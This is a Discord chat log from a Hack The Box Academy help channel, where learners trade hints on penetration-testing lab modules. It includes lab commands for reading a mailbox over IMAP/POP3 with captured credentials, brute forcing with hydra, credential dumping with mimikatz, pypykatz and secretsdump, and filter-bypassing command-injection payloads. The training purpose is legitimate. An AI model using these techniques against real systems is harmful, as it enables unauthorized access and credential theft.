modules

[sly kelp]

someone has to do windows command line module 😂

[misty current]

Good thing I have a lot of leftovers for marking a section as complete lol

[sly kelp]

That icon look super fancy ❤️

[bright quiver]

Can someone give some assistance as to how to grab ||Tom's rsa|| from using openssl with imap? I logged in with his creds but not sure where to go or what syntax to use after performing|| 1 LIST "" * and then 1 SELECT INBOX (INBOX). How can I find the rsa and fetch it? ||

[acoustic owl]

For mail, the easiest way is to use a mail client.

[sly kelp]

will the color change 😂 ?

[bright quiver]

@acoustic owl …like a graphical interface version instead of the open ssl

[sly dome]

yea

hacktricks commands

you can also use pop3

you dont need the encrypted protocol

curl -k 'imaps://<IP>/INBOX;MAILINDEX=1' --user tom:<tom's password>

you enumerate before and you will see he only has 1 mail

with pop3 you can do it from telnet

root@kali:~# telnet $ip 110
 +OK beta POP3 server (JAMES POP3 Server 2.3.2) ready 
 USER billydean    <<-- in our case 'tom'
 +OK
 PASS password     <<-- tom's password
 +OK Welcome billydean

 list            <<-- this is a pop command

 +OK 2 1807
 1 786
 2 1021

 retr 1          <<-- another pop command

 +OK Message follows
 From: [e-mail]
 Dear Billy Dean,

 Here is your login for remote desktop ... try not to forget it this time!
 username: billydean
 password: PA$$W0RD!Z

of course you can use 993 and 995 ports for the encrypted version of the protocols but you dont have to

mail clients are just sending this commands in the underlying

[bright quiver]

@sly dome cool - ty

[sly dome]

any time

[bright quiver]

@sly dome once in via like ssh...am i looking for the HTB user? Right now i see some sql stuff and all, but nothing too useful, but wondering if i need to log into sql somehow

[tight mesa]

hello everyone, any hint for a dictionary in the Service Authentication Brute Forcing exercises?

[vital elk]

https://dontasktoask.com/

What have you tried, provide context, we should be able to look at your question and not have any questions to ask back.

[tight mesa]

kewl

I build a dictionary with cupp

[vital elk]

Take a look back at the previous section (Personalized Wordlists). You're trying to brute b.gates, so use cupp to generate a list with information based on Bill/William.

[tight mesa]

I did already, this is the current dictionary I'm using to attack ssh service

[vital elk]

is it going through the list or is it just failing to connect?

because I'm pretty sure that is on a different port than the normal 22

[tight mesa]

no, no, it's going thru the list, but it's taking so long....

I know BF taking time, but u know this is an exercise, I guess hasn't taking so long...

[vital elk]

Yea, I remember the mutated passwords one took forever too, I don't remember this one taking that long though

[tight mesa]

ok., well waiting though

let's hydra do their job

[rustic sage]

After finishing the Advanced XSS and CSRF module, how would you further develop your knowledge base? Research papers?

[vital elk]

send me a PM if you need help. It shouldn't take more then 5 minutes, I just ran it again and got it. Also, I know the lessons say use -t 4, but there isn't any configuration limit on the box

[vital elk]

https://owasp.org/www-project-juice-shop/ has both and is a pretty recognized resource

I haven't been through that module yet though, so juice shop might be too low level. But it is at least more practice

[rustic sage]

Oh I've destroyed the Juice Shop a while ago

and I've done most labs I could find

I'm looking for more advanced stuff

[vital elk]

Can't help you there then hah

[sly dome]

which module was that

[bright quiver]

@sly dome nvm i actually got it...was tricky how lol

[sly dome]

yea sql was open

if you do ss -lntp

[bright quiver]

didn't expect the end to be that

[sly dome]

you see that

was the same as the mssql lab but with mysql xd

[wet kite]

what is this o.O just popped up for me as well 10/30 and is a "point" a cube?

[sly kelp]

not sure

[fathom pendant]

I think it's just another way to gamify the process

[wet kite]

I just answered another question with 1 cube, gave me 10 points

[wet kite]

Probably, but do we get something :D?

[fathom pendant]

Probably not

[rustic sage]

ayo gib some cubes

I need cubes for the Tier III modules pls

Prob just gonna get plat sub

[bright quiver]

I am trying to run either this|| dig txt ww02.inlanefreight.htb @10.129.73.94|| or the zone with the www1 to try and read the TXT file but I get nothing returned. this whole module has been crap. I added the IP of the target and the domains to etc hosts, too and nothing...any advice here on how to read the TXT?

even when i run export TARGET - i get server can't find ww02 or www1

[fathom pendant]

Perhaps you can't view those zones, try others

[bright quiver]

@fathom pendant ok let me retry that

[alpine dome]

I am redoing the Footprinting Hard Lab and I can not find the t** password, I remember it being in the user's history file once you accessed the server with the private key.

[undone narwhal]

nope, try snmp enum

[bright quiver]

@fathom pendant question an I just perform the dig txt or is it better to run the export then nslookup TARGET one? Also...do I keep having to put the domains found in etc/hosts or not really?

[fathom pendant]

Not really you can do dig query subdomain.inlanefreight.htb @ip

[bright quiver]

ok cool - ty

@fathom pendant got it - ty again

[shrewd hazel]

any idea on what im doing wrong to upgrade the meterpreter shell in the getting started knowledge check portion

[thorn urchin]

why would you upgrade a meterpreter shell

[shrewd hazel]

trying to run the next command to elevate to admin but cant without sudo

i dont know lol but it appears i would need to, no?

to get sudo to work?

[vital elk]

hardening your shell isn't going to get you privesc, go double check the section content

[thorn urchin]

you dont need to upgrade your meterpreter shell. You just need to drop into a regular shell

view the meterpreter help info

[shrewd hazel]

i tried the shell command to drop into a system command shell but by that screenshot it like crapped out a bit

[tranquil axle]

Now type “whoami”

[shrewd hazel]

ohhhhhhhhhhhhh

[tranquil axle]

Yeeeee

[shrewd hazel]

www-data

now list out permissions of what users can do

sudo -l

[thorn urchin]

dont walk them through the rest

the issue was solved, let them figure the rest out 😉

[shrewd hazel]

lol gotcha gotcha

im trying to figure out that next part after that myself lol

i see where i can run the content but confused on where to go from here myself

[tight mesa]

done, I sent a PM

[shrewd hazel]

nothing is coming back now?

[analog dock]

Why are you making pics of your screen

When you can just make a screenshot and send that

[shrewd hazel]

lol thats a good question my bad

[gentle coral]

Evening all, just doing the Miscellaneous Technique task under the Windows Privilege Escalations. I've found 3 passwords none of which appear to work, would anyone be so kind enough to point me in the right direction please TIA

[zinc marsh]

I think it should be the .exe in github

not sure

[hallow kiln]

It's just a different tool that's used on Windows

[unique palm]

is htb down again ?

[gentle coral]

Don't believe so I'm on it at the moment

[unique palm]

huh i cant spawn targets nor pwnboxes

[tall tide]

Yeah same here

[gentle coral]

Ah OK, just refresh everything and you are correct in that I now can't spawn a target

[slender shoal]

@languid fjord

[languid fjord]

What modue

[slender shoal]

I was doing windows Event Logs & Finding Evil

section: Windows Event Logs

[odd tendon]

I can't spawn a session or box either

[wet kite]

yeah seems like targets are dead 😦

[languid fjord]

poked the infra team

[slender shoal]

Thanks

[shrewd hazel]

getting started knoweldge check - i think i have to run some command somehow to append the php file but im a bit lost. is my goal to upload a new php file altgoether and run it to create a reverse shell? or is it something else? i cant edit php itself

[wet kite]

works again

[void shadow]

Use gtfobins

You can run php with sudo privileges
Search how can you leverage it to gain a shell as root

[languid fjord]

targets? pwnbox? both?

[wet kite]

Target at least, let me check pwnbox

[languid fjord]

kk, ty

[wet kite]

works as well.

[languid fjord]

interesting, doesnt work for me still 😂

[wooden kernel]

I tried to footprint the DNS and find the one that ends in 203. I used dnsenum with all the discovery txt files and found nothing. What I am missing?

[fathom pendant]

Did you use the fierce wordlist? And did you do it against the right subdomain

[wooden kernel]

I did, but need to check the subdomain part.

[fathom pendant]

Do a zone transfer to the domain first to be sure you get all the subdomains

[slender shoal]

same.

no ip

[languid fjord]

which servers are you on ooc? @wet kite @slender shoal

[wet kite]

I used the UK pwnbox Server

VPN is EU 2

[craggy steppe]

hello,
i'm trying the password attack module and i got this error when i try running pypykatz

[fathom pendant]

You should probably be running pypykatz on the target

[craggy steppe]

it's a windows target without pypykatze on it
i'm supposed to import the lsass dump and use pypykatz on the dumpbut i got this error

[fathom pendant]

You need to supply it with arguments

But also mimikatz exists

[wooden kernel]

I did try recursion on subdomains, but that did not work.

[fathom pendant]

Dnsenum doesn't catch all the original subdomains

That's why I said you need to query for them first

[craggy steppe]

oh.. mimikatz works the same way ?

[slender shoal]

its up now

[fathom pendant]

.... look at their names and think critically

Mimikatz = windows, pypykatz = domain joined linux

[craggy steppe]

oh thx

[fathom pendant]

Most of the time on windows targets they'll have the tools, if intended, in C:\tools

With lsass you can use secretsdump.py

[prisma badger]

in ctfs, does failing an educated bruteforce for massive wordlists usually mean that the login page isnt the concern and something more obscure is

[fathom pendant]

It could be

[prisma badger]

wut does experience tell u

[fathom pendant]

I dont participate in ctfs, and this channel really isn't for conversation about ctfs

[prisma badger]

http://dontrespondjustorespond

[fathom pendant]

And I'm telling you that this channel isn't for that conversation

[thorn urchin]

How about you actually stay on topic

youre already verified so you have no excuse, you can see all the channels

[languid fjord]

A third-party outage is causing some intermittent issues with spawning. We are currently investigating the problem.

[opal jewel]

@languid fjord is this counting towards cpts exam takers? Because my lab is not redeploying

[fathom pendant]

You will be compensated time lost on the exam due to technical issues

[languid fjord]

Please contact customer support, and they will make it right

[sly dome]

has been like 3 days whit this problems, will they be fixed?

[languid fjord]

Unfortunetly, as i said earlier, the issue is caused by a third-party, we are doing what we can in this situation

[sly dome]

i understand

hope tomorrow it is fixed

i lost 2 days because whenever i try to study some module there is an outage

[quaint hemlock]

can anyone help me with command injection skill assessment? I'm managed to get the location of flag.txt and used a payload to move the flag to tmp folder, but it gave me 'access denied', then I used the same payload on copying but it gave me this error instead Error while copying from tmp/51459716.txt${LS_COLOR:10:1} ${PATH:0:1}flag.txt to 51459716.txt${LS_COLOR:10:1} ${PATH:0:1}flag.txt, can someone help me with this? thx!

[quasi wave]

hi I am trying to use DNS lists on seclists with nmap using dns-brute and its not working. would a zone transfer work better? this is for last section of enumeration with nmap? should I rely on zone transfers or brute forcing?

I'm assuming its one of those two because those are my two remaining options

[quasi wave]

am I wrong about this?

[fathom pendant]

Try a different tool

[manic terrace]

I've been spawning a target for questions for about 15 min now. Is anyone else having problems?

[bright quiver]

same

[fathom pendant]

But also i don't think that's the answer

[quasi wave]

ok

[bronze sorrel]

me too

[quasi wave]

so I can do everything I need with nmap?

[modern island]

@manic terrace and @bright quiver guys read what Emma said just 10 answers above yours, they are having issues with a 3rd party package... it's literally bolded.

[quasi wave]

do I need to transition to another tool or should I focus on DNS with Nmap

[fathom pendant]

The hard lab?

[quasi wave]

yes

the hard lab

[fathom pendant]

Reread the dns proxy section

[quasi wave]

ok

[quasi wave]

where's the dns proxy section?

I am looking in the nmap module and going through several sections

[fathom pendant]

Under firewall IDS/IPS evasiln

[quasi wave]

ok cool

[fathom pendant]

Instead of using their known port use -p-

[quasi wave]

I solved it

it took I while to figure out

I'm so proud lmao this took a LONG time

the answer turned out to be much simpler than I thought

[quaint hemlock]

can someone help me with this?

[woven copper]

Why did you move it to tmp? I don't remember the module, but you need to escape from the 'mv' command to your own command.

[candid lily]

why not just cat it

[rustic sage]

What was your payload?

I've just done the module

[minor zealot]

was it related to dns proxying? I'm just struggling with the same challenge lol

[candid lily]

they have filtered space and some tools, you could still use base64, bash, other operators

[fathom pendant]

yes it was

read that subsection under IDS/IPS firewall evasion section

just replace their exact scan with a -p- scan

[minor zealot]

yeah I just found it, indeed, you have everything you need to pass the challenge on that section

thanks for the guidance 🙂

[supple sparrow]

could use a nudge on Attacking Common Services - Easy

[fathom pendant]

Gonna need more context chief otherwise I'll just tell you to turn it on

[supple sparrow]

just trying to figure out the other way of getting the flag

[fathom pendant]

oh

¯_(ツ)_/¯

probably a reverse shell or something

I'm pretty sure it's like 90% the same steps then the last 10% you can do a couple things- i never looked into it tbh

[quasi wave]

no. its something else. Its easier than you'd think. I was overthinking it for a long time. you have to know the right protocol to attack then you have to kind of figure it out

its difficult I know

its something I struggled with for a while

[rustic sage]

@quaint hemlock search the forums dude.

[indigo remnant]

Heya, Anyone have an issue when starting a Machine, that its up, can ping it but nmap shows no ports/services. I know from the lab ithere should be a SQL server running but nada. I tried to stop, restart the machine but I get an error. So I logged out and back in. Any ideas?

[fathom pendant]

there's an ongoing issue

[indigo remnant]

nods

[elfin condor]

hey guys i am 99,5% from cpts path and i am stuck on the Attacking Thick Client Applications, Skills Assessment III from ATTACKING COMMON APPLICATIONS anyone can i dm for help?

[fathom pendant]

look up the walkthrough for the retired box "fatty"

iirc that's what that's about

[calm peak]

Attacking web client thick applications

[thorn urchin]

Doesnt matter

a segment of fatty is LITERALLY that section

watch ippsec's video on it

[calm peak]

The button for fatty jar is not showing up after I updated it

Can't read the notes text

[fathom pendant]

would ya look at that

[fathom pendant]

Read my suggestion to look up the retired machine "fatty" that should help you, maybe you missed a step

[calm peak]

Thanks I'll take a look at it . The pivot api video helped me

[fathom pendant]

i've seen others get tripped up on the same thing so I don't think it's necessarily JUST you

(That section literally is just thrown in out of nowhere)

[slender shoal]

it was hard.

[calm peak]

🤣 I've read everyone's frustration

[slender shoal]

Very. Very. Very. difficult.

[fathom pendant]

note: "Fatty" was labeled as an "Insane" Box

[slender shoal]

^ because it makes you go insane😂

[fathom pendant]

i mean the specs for box difficulty is generally the number of steps ¯_(ツ)_/¯

[potent grail]

Hey everyone, I have some troubles.
I saved 500 cubes and have 3 options for which module to choose, but I have no idea which one to choose.
Can someone help me with it?
Modules:
Kerberos Attacks (tier 3)
Using CrackMapExec (tier 3)
Active Directory Bloodhound (tier 3)

[hallow kiln]

100% Kerberos Attacks, the other two you could learn on your own

[misty current]

I agree.

[candid lily]

which is best tier 3

i too got almost 500

[misty current]

[thorn basin]

new feature?

[fathom pendant]

Yes

[somber lagoon]

Hi all, I am stucked at Credential Hunting in Linux. I'm having issues running lazagne in the target's machine. I successfully gained an initial foothold and now attempting to gain Will's password. Note: I transferred the zipped file.

[dusty dew]

Did you end up figuring this one out? I'm running into the same issues

[acoustic owl]

Have you uploaded the whole zip file or just a part of it?

[somber lagoon]

The whole zip file

[naive dune]

hi

[thorn basin]

Anyone already done Shells & Payloads live engagement? i have some questions

[final shoal]

Hello, im currently doing the "getting started" module and in the "basic Tools" section i tried to answer the Question, but the flag i answered seems to be false,

did i forgot something?

[autumn pilot]

yes, the port

[solar arch]

where to with some minor tweak suggestion? in the module changelog the link when clicking on one of them is "/module/XY" which, for locked modules, will just show the "Unlock for XX" page. instead the link should go to "/module/details/XY" which acutally gives information about the module, and one can unlock after reading whats in the module 😉

[autumn pilot]

this is more suitable to be done via the support in the website

[solar arch]

uhm.... need a howto for the chatbot 😄 how do i actually comment here?^^ it justs closes the chat after telling me to comment

[quasi gust]

Hello sir. Could we go in DMs ?

[sterile girder]

hi im new! which is the channel for super newbie questions?

[acoustic owl]

Read and follow #welcome

then you will see all channels

[obtuse verge]

Hi!! Can someone help me with this? Im trying to conect to a MSSQL server... (doing AD Enumeration & Attacks - Skills Assessment Part II - Submit the contents of the flag.txt file on the Administrator Desktop on the SQL01 host. )

[acoustic owl]

Is your PC in the 172.16.7.x network?

[obtuse verge]

Yes

And there's a port in the IP for Mssql service

Using impacket lead to the same error

[rotund crater]

Hey yo beautiful people

I am stuck at AD Enumeration & Attacks - Skills Assessment Part II

Submit the contents of the flag.txt file on the Administrator Desktop on the MS01 host.

I am local admin on SQL01, enumerated like a maniac but can't move anywhere

[somber lagoon]

Yes, the whole zip file. It gives some error about the psutil module

[rotund crater]

Inveingh, mimikatz, LaZagne, manual enumeration, ACLs

[faint rampart]

what can you do with your admin creds, whats a common administrator password usage flaw in a network...

[rotund crater]

I don't have creds for my admin user, I priv esc with something else 👀

also, that super long passord... I used crackmapexec to passowrd spray, as well as kerbrute, it didn't lead me anywhere

[faint rampart]

It should work, but you could also play with metasploit for that, there is a post exploitation module that does the exact same thing, thats what I used.

[faint rampart]

thats a spoiler btw
But I believe you have answered yourself 😂

[rotund crater]

damn sorry, spoiler removed

[latent cave]

hello everyone, I'm in the SQL injection fundamentals and I had to use a specific command to bypass authentication. My question is: is there a way to know which command in the list on PayloadsAllTheThings is gonna work or it's just literally trial and error until one works? 🤔

[faint rampart]

Know what to do now yeah?

[rotund crater]

I am assuming... I thought that same exploit would work only with service accounts... let me go back and try

[acoustic owl]

I have searched through my notes. I accessed the database from the host ||skills-par01|| with ||mssqlclient.py||

[faint rampart]

common administrator password flaw. - Hint

[rotund crater]

oh my, I see now

[rotund crater]

thank you heaps for this!!

HTB profile for some creds? @faint rampart

[faint rampart]

dms? 👀

[rotund crater]

sure 👍

[obtuse verge]

can i DM you?

[acoustic owl]

sure

[median roost]

wasssuuuuuuuup

[quasi gust]

@acoustic owl Could we go in Dms for some questions ?

[bright quiver]

anyone have an idea why i keep getting this

nslookup -query=a 10.129.73.220
Server: 1.1.1.1
Address: 1.1.1.1#53

** server can't find 220.73.129.10.in-addr.arpa: NXDOMAIN

[naive wadi]

kerberos module: unconstrained delegation users challenge. followed the steps and have the DC ccache but keep getting this response from secrets dump

[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Cleaning up...

have re-imported the ccache as well as tried again from the start and the same issue. I mean I have the tgt for the DC so unsure why secretsdump isn't working

fixed, hosts file wasn't resolving the DC for some reason, had to specify the DC ip manually

[bright quiver]

can anyone assist with this question? What is the FQDN of the IP address 10.10.34.136?
I ran this but I do not see the IP ||dig @10.129.73.220 NS axfr inlanefreight.htb|| or FQDN show up?

[simple hare]

Remember a DNS lookup maps a hostname to an IP address, you're looking to do the reverse (that's a hint). The module should have an example of doing that exact thing if you're really stuck.

[bright quiver]

ok - ty

got it

[bright quiver]

anyone run into issues where when trying to run this command:|| curl http://10.129.73.220 -H "Host: www.inlanefreight.htb"|| - it just disappears? I am trying to do the virtual host exercise

[gray jay]

what happens when you hit 30 in streak?

[analog dock]

It says goals completed

[gray jay]

hehe ok

[sly dome]

is it fixed?

the outage problrms

any news?

[acoustic owl]

You should stop learning right now lol

[gray jay]

Sweet!

[analog dock]

Read 3 modules, mark as completed There we go, done for the week!

[gray jay]

Know everything now.

Unitl next week then there is more to learn...

[acoustic owl]

Oh, then you study for CPTS for two - three years lol

[analog dock]

Hope you take good notes 😂

[acoustic owl]

No, my notes are honestly not good. But I'm working on it

[analog dock]

Better luck next year!

[unreal granite]

Hi got a question for you guys Iam at the Attacking common services assasment module medium and iam trying to bruteforce me way into the FTP . what i would like to know is which pw list and user list you used for that challange 🙂 ?

[sly kelp]

And 1 extra year for report writing

[acoustic owl]

With the new tool, this should be quick and easy. 😉

[sly kelp]

Yeah, have not tried it yet hopefully this Sunday

[acoustic owl]

I haven't tried it yet either
But I should definitely do it. Because I actually want to use it for the CDSA exam

[gray sigil]

Is there a way to reset academy modules to do them again, or is it just "go back and review" it type deal? I feel like I'm not quite retaining the info as much as I should be and would like to do it again. There is a retake module button. I am dumb, ignore this.

[green aurora]

@next bronze footprint

[crystal steeple]

any hint on how to find HTB password on footprinting hard lab? i really did everything and got the ssh private key and logged in as Tom

still no HTB password to be seen

[sly dome]

enum the machine

ports, files etc

[quaint cedar]

hi

[flint bane]

HEllo

[crystal steeple]

still struggling

searched for hidden files but nothing intresting

[faint rampart]

taken a look at history?

[crystal steeple]

saw a mysql command yes

but i don't have the password

[faint rampart]

Sure about that? 👀

[crystal steeple]

waitt ....

wait wait

i think i have

lmaoooo

[faint rampart]

Have fun buddy. XD

[crystal steeple]

completely forgot about it hhaha

[sly dome]

a better approach was enumerating ports

in real enviroments you wont find a command history

(likely)

[faint rampart]

I agree.
It was a second hint hehe.

[faint rampart]

I agree, but the fact of its existence is hint to an internally running service even tho its content should typically be redirected to devnull

[crystal steeple]

how do you enumerate ports

inside ssh

?

[faint rampart]

netstat -tulnpa
ss

[sly dome]

ss -lntp

ss is a unix command

netstat maybe is not installed

[sly dome]

does it matter? i mean rethink your question

you just have command execution, does not matter the how

[faint rampart]

yeah, net-tools package isnt always installed.

[crystal steeple]

when i enumerate port 3306 for mysql its says closed?

[sly dome]

please be more concise

[crystal steeple]

i used nmap to scan the target IP on port 3306 which is the sql port and it's says its closed

[sly dome]

and

can be open to the inside

[crystal steeple]

yeah but how can u know that it's can be opened from the inside

[sly dome]

ss -lntp

is a basic command when enumerating a unix machine

those you saw on nmap are the ones open to 0.0.0.0

[crystal steeple]

when i use it my ssh sessions crashes lol

[sly dome]

very weird

[crystal steeple]

i will try running it again wait

[crystal steeple]

maybe a RAM problem?

or does it take time to execute that command?

[sly dome]

no xD

[crystal steeple]

:3

[analog dock]

Have you tried netstat

[crystal steeple]

netstat works

thanks man

[analog dock]

Yw

[sly dome]

thats totally weird HAHA

i am going to check in my side

[obtuse verge]

can i DM you ( im at the same point)?

[crystal steeple]

I guess it’s just my Vm machine

[sly dome]

probably yes

[crystal steeple]

Since i allocated only 7gb ram?

[sly dome]

i dont think so

is not aproblem of resources

[crystal steeple]

Can a slow internet cause that problem?

[polar hearth]

how can i connect to the internet

from workstation

[thorn urchin]

this isnt tech support. read #welcome

[frank sand]

\

\}]"

[next bronze]

I agree

[shell ore]

might be weird but

where can i report typos in moudles? 😅

[next bronze]

#858470491676737536

[rough acorn]

Hi, I am currently doing the IDS avoidance with nmap and I noticed in one of the labs you can only get a connection to a certain port when the source port is an allowed port. So I am using --source-port [port] but then when I do -sV or anything using NSE, it's not using the source port, just a random one. I used --packet-trace to get that info.

[fathom pendant]

are you using --source-port= ?

[analog sand]

Hi everyone! Recently I discover a vulnerability in my company’s website. However, I don’t know the best way to report it without causing problems for myself. What should I do?

[slender shoal]

Are you running with sudo or as root?

[fathom pendant]

but also it highly depends on the type of scan

[fathom pendant]

How did you discover the vulnerability, just report it to IT

your company probably has some sort of reporting process

[rough acorn]

just --source-port [port] works too

[shell ore]

thx

[rough acorn]

Tested that one too just to be sure, but it's not working either

[pulsar pebble]

In Linux Fundamentals > File System Management, Question is How many disks exist in our Pwnbox? The answer should be 1 as shown in screenshot, rather than 3.

Not sure why the copy and paste not working for screenshot

[acoustic owl]

Read and follow #welcome

[mild valve]

So excited to study and the boxes is not working. Slamming my keaboard.. 500€ for this (:

[acoustic owl]

Errors sometimes occur on the best servers. 😉

[mild valve]

@acoustic owl I dont like that I pay first of all 500€ to use the modules, I understand even AWS/Azure have problems but 5 days?`
Also, second thing im fucked about is the lie that the CBBH exam would be corrected in 20 days, its been 30 days

[pulsar pebble]

There is only 1 disk and 3 partitions.

[acoustic owl]

The best thing to do is to contact support, as Earthbuffet has already told you. There is nothing we can do here in both cases

[slender shoal]

It is 20 business days. Slightly different but affects the timeline quite a bit.

But, they do provide good feedback which is a huge win and tells you what to improve on even if you pass.

[mild valve]

Yes of course, that is why im doing these exams because everyone said they are giving nice feedback and I can use it to actually be better at reporting. But honestly, after 1month you kind of lose motivation if there is no response

Sometimes you just wanna blow off some steam, and when there is no response on exam + PWNBOX down, then one can only have so much patience

[slender shoal]

If it truly has been that long I would contact support (usually pretty fast response) and if it was mid exam definitely reach out to support.

[acoustic owl]

I can understand you. Nevertheless, please be patient.
The guys are very busy at the moment. That's why it's taking longer than normal.

[rough acorn]

Does anyone has an answer for this? I also tried with --source-port= but it's the same thing. it's for the Enumeration with NMap module, final lab.

[acoustic owl]

Try it in the PwnBox, not from your VM

[fathom pendant]

do it with sudo

[rough acorn]

ran with it already

[rough acorn]

why would it change how nmap works? I am using parrot with the latest updates. I'll give it a try anyways

[acoustic owl]

If I am not mistaken, then it is not a problem with nmap, but with the VPN. Try it from the PwnBox.

[rough acorn]

it really seems to be comming from nmap, when using --packet-trace I can see the initiating port. it's 53 for the port scan but some random port when it's NSE.

[rough acorn]

I just tried and got the same result with PwnBox.

[neat sky]

ls

[acoustic owl]

Send me your command in a PM. Then I'll take a look at it.

[hallow kiln]

If you have lost exam time due to technical issues on their side, you must contact support, they will credit you the time back

[sharp peak]

If it is one of the questions where you have to get the service banner try a different command mentioned in the module.

[fossil crescent]

Exactly -- It's like HTB is wanting to punish those who truly pushed hard on Academy... I've got 89 of 96 module completion badges...

[slender shoal]

its 30 points. not answers

30 answers per week is quite the ask

[fossil crescent]

Yeah, but when there are physically only 7 modules which I have not completed, it's very restricting on what I have to choose from...

[slender shoal]

yeah I get that haha, just was stating its different

[smoky jackal]

For Windows Privilege Escalation - Pillaging: I need to get a cookie to log into the slack website, but I can't figure a way to transfer the cookies.sqlite db to my main machine, unless theres a different way? S:

[fossil crescent]

Don't remember that specific module, but for file transfer from windows to linux my fave is if I have RDP use the /drive option on xfreerdp, failing that an SMB share is my next go-to

[heady estuary]

I am running nmap -sV but receiving "1 service unrecognized despite returning data." for the only port that I need

[smoky jackal]

I tried doing smb but you need admin password afaik, I don't see an option for the /drive on xfreerdp?

[fossil crescent]

wrt smb -- you can host an smb share on your linux box, and then copy from windows to your linux smb share. but if you have rdp, I usually do: /drive:test,/tmp -- where it creates a 'test' folder on windows that maps to the /tmp folder on linux

[smoky jackal]

would that still work even though the VM has no internet access?

[fossil crescent]

If the VM has no connectivity, how are you connecting to it? If you're able to connect to it, it's got to have connectivity... Again, I'm going blind -- while I've done the windows priv esc module, it was a long time ago -- just giving generalized advice

[smoky jackal]

through RDP, this whole section has me a little confused, I have to transfer a cookies.sqlite db to it, I thought I could just do some basic upload stuff then I realised it has 0 internet access

[fossil crescent]

and are you RDP'ing from a Linux or Windows host?

[smoky jackal]

Linux

atm I'm using remmina to RDP into it

[fossil crescent]

I know nothing about remmina. Just xfreerdp.

[smoky jackal]

it acts similar to xfreerdp but its just a GUI instead of a command line

[fossil crescent]

xfreerdp /v:IPADDR /u:USERNAME /p:PASS /drive:test,/tmp

[smoky jackal]

thank you <3

[smoky jackal]

it worked perfectly, thank you so much! :)

[fathom pendant]

don't forget /dynamic-resolution

[fossil crescent]

almost added it, but was trying to avoid detracting from the key focus, which was how to xfer a file -- but yes, absolutely spot-on 😂

[fathom pendant]

I honestly muscle memory it at this point lol

[smoky jackal]

small question, I've got the password hash for the local admin, but I cant figure out "what" part is the actual hash, its the 2nd part right?

[rotund crater]

woops 👀

[fathom pendant]

I believe one of the sections goes over the parts of it

[rotund crater]

NT and LM hashes separated by :, but which is which?

[fathom pendant]

NT first LM second i thought lol

don't have my notes on me atm

[rotund crater]

that's evil 🥹

[smoky jackal]

it just says "Submit the Administrator hash as the answer." but I'm not sure if they want the entire hash or a specific part, none of them seem to be working for me : (

[rotund crater]

what exercise is this again?

[smoky jackal]

Pillaging

[crystal steeple]

i just checked my notes an ntlm hash is structured as [LM]:[NT]

[rotund crater]

uuuh I haven't done that one

[smoky jackal]

its the last question for that section, I've obtained the SAM and SYSTEM files required, dumped the hashes but I'm unsure what formatting they want :l

[fathom pendant]

think back to when you've done PTH

how was that structured

[smoky jackal]

Haven't done PTH in ages D:

[fathom pendant]

then refer to your notes

[marble raft]

i'm still curious about the rewards tbh

[marble raft]

i would answer this, but if you google this question it's literally the first result

[rotund crater]

same here! I wonder how many weeks it takes....

[smoky jackal]

Its fine I solved it, I realised there was two different backups which both had two different hashes..

[rotund crater]

and I wonder if I can horde answers and just submit them weekly

[fathom pendant]

That's just stupid tbh

I'd rather just complete it

There's definitely enough content on the site

No

[rotund crater]

for the weeks when I can't study 👀

[fathom pendant]

It's still stupid

[rotund crater]

Farming rewards on a hacker's training platform 🙃 yeah I agree it is stupid

BTW how do they assign points? When I solved a 1 cube exercise I felt like I got more than 1 point

[fathom pendant]

¯_(ツ)_/¯

Probably a test of the feature since no announcement about the feature

[rotund crater]

uuuh so there was no announcement, I thought I missed it as I was glued to CPTS

[languid fjord]

It’s still very beta and we’re working things out

[fathom pendant]

It would have been nice to have a beta rollout announcement but if there's a helpdesk article for it to point to that'd also be nice

[languid fjord]

I’ll note it for the team

[fathom pendant]

I dont think the pwnbox server thing on academy was announced either, but I might have missed it

[narrow star]

hello, I have a question regarding the Linux Fundamentals module, is this the right place to ask for help?

basically Im trying to install docker in my Pwnbox but it seems to have no internet connection

[fathom pendant]

You're not gonna be able to access internet in pwnbox

It's extremely limited

You don't need to set up a docker container at all

[narrow star]

cant even apt-get install docker?

[fathom pendant]

You're not required to set up a docker instance

[narrow star]

I know I know, I just wanted to test the bash script given by the lesson https://academy.hackthebox.com/module/18/section/2097

[fathom pendant]

If you want to, you're better off using your own vm

[narrow star]

thanks for the heads up @fathom pendant

[quiet ember]

Anyone else unable to connect to Academy vpn?

[terse igloo]

no, but everytime i try to use the accesschk tool it kills my network on my vm in the module im doing

so im obviously doing something wrong strill

still

@_@

[tight mesa]

hello y'all, anyone receive this message in the last question into Brute Forcing - Service Login :

ftp> get flag
local: flag remote: flag
local: flag: Permission denied

[fathom pendant]

You're running ftp from a directory you don't have write access to

[tight mesa]

hmm.... lemme double check

[limber wasp]

Hello everyone. I'm working on the SQLMap Essentials, Attack tuning. I'm pretty sure I have the flag5, but it keeps telling me its not right. At first I wasn't connected to the vpn and didn't realize it. which on it's own is weird because i was able to connect to the db, the website and everything. I got a screen-shot but I'm not sure how to cover up the spoilers.

[fathom pendant]

Just don't include the flag at all in your post, as it's still a spoiler, you can go into a software like paint and block out everything between {}

[limber wasp]

uhh i had already posted it with the spoiler thing, I think i deleted it .

sorry

[limber wasp]

can I dm you the flag?

[fathom pendant]

I haven't done this module

[limber wasp]

oh ok.

I don't come in here much, but when I have I think I always see u. So i thought you were.......tech support. lol jk

[deep shore]

Any chance of a nudge for Credential Hunting in Linux in the Password Attacks Module? I've been at this for two days now and I can't seem to get ahold of what they're looking for...

I've just cracked the password for a totally different challenge on the same box and I'm beginning to get confused.

[wild dragon]

you can try to check the password stored in the browser

[wild dragon]

firefox_decrypt.py is helpful

[deep shore]

Interesting. I thought I had been by that but I imagine I brushed by it without spending enough time. Thanks for the tip!

[wild dragon]

enjoy your module, bro!

[quasi gust]

Could anyone tell me why I can't login to htb-student with IP:172.16..5.225 in https://academy.hackthebox.com/module/143/section/1489 ?

[pure sorrel]

I'm working on the Pivoting Tunneling and Port Forwarding skills assessment. I've RDP into the first pivot host on domain 172.15.5.x

I found user v***** but can't find a way to get his credentials. I can find mimikatz on the host, can't get it on the host, tried attacking lsass and Sam, tried looking for files that have the users passwords in either plaintext or hash. I can find nothing. Is there something I'm missing?

[marble raft]

Because you're not supposed to SSH, you're supposed to RDP to the target and then do what the questions ask you to do, which none of them involves interacting via SSH with this target.

[quasi gust]

really ?

[marble raft]

RDP to 10.129.201.234 with user "htb-student" and password "Academy_student_AD!"

[quasi gust]

Have you read it ? ))

[wild dragon]

maybe you can use mimikatz for this case

mimikatz # sekurlsa::minidump C:\Users\<m*_user_here>\AppData\Local\Temp\lsass.DMP
